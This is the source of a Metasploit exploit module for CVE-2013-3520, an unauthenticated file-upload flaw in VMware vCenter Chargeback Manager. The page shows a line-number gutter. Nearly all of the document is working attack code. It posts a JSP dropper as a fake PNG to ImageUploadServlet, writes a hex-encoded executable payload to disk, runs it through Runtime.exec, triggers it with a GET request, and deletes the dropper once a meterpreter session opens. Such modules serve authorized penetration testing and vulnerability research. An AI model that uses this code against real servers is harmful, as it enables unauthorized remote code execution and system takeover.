/
vmware_vcenter_chargeback_upload.rb
198 lines (165 loc) · 5.76 KB
/
vmware_vcenter_chargeback_upload.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in VMware vCenter Chargeback Manager,
where the ImageUploadServlet servlet allows unauthenticated file upload. The files
are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.
The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1
on Windows 2003 SP2.
},
'Author' =>
[
'Andrea Micalizzi', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3520' ],
[ 'OSVDB', '94188' ],
[ 'BID', '60484' ],
[ 'ZDI', '13-147' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', { } ]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2013-05-15'))
register_options(
[
Opt::RPORT(443)
])
self.needs_cleanup = true
end
#
# Try to find and delete the jsp if we get a meterpreter.
#
def on_new_session(cli)
if not @dropper or @dropper.empty?
return
end
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@dropper}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
print_status("Searching: #{@dropper}")
files = cli.fs.file.search("\\", @dropper)
if not files or files.empty?
print_error("Unable to find #{@dropper}. Please manually remove it.")
return
end
files.each { |f|
print_warning("Deleting: #{f['path'] + "\\" + f['name']}")
cli.fs.file.rm(f['path'] + "\\" + f['name'])
}
print_good("#{@dropper} deleted")
return
rescue ::Exception => e
print_error("Unable to delete #{@dropper}: #{e.message}")
end
end
def upload_file(filename, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"")
data = post_data.to_s
res = send_request_cgi(
{
'uri' => normalize_uri("cbmui", "ImageUploadServlet"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => "JSESSIONID=#{@session}"
})
if res and res.code == 200
return true
else
return false
end
end
def check
res = send_request_cgi({
'uri' => normalize_uri("cbmui", "en_US", "themes", "excel", "index.htm"),
})
if res and res.code == 200 and res.body =~ /vCenter Chargeback Manager/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Uploading JSP to execute the payload")
exe = payload.encoded_exe
exe_filename = rand_text_alpha(8) + ".exe"
# The JSP dropper is needed because there isn't directory traversal, just
# arbitrary file upload to a web path where JSP code execution is allowed.
dropper = jsp_drop_and_execute(exe, exe_filename)
dropper_filename = rand_text_alpha(8) + ".jsp"
if upload_file(dropper_filename, dropper)
register_files_for_cleanup(exe_filename)
@dropper = dropper_filename
else
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
end
print_status("Executing payload")
send_request_cgi(
{
'uri' => normalize_uri("cbmui", "images", dropper_filename),
'method' => 'GET'
})
end
# This should probably go in a mixin
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end
end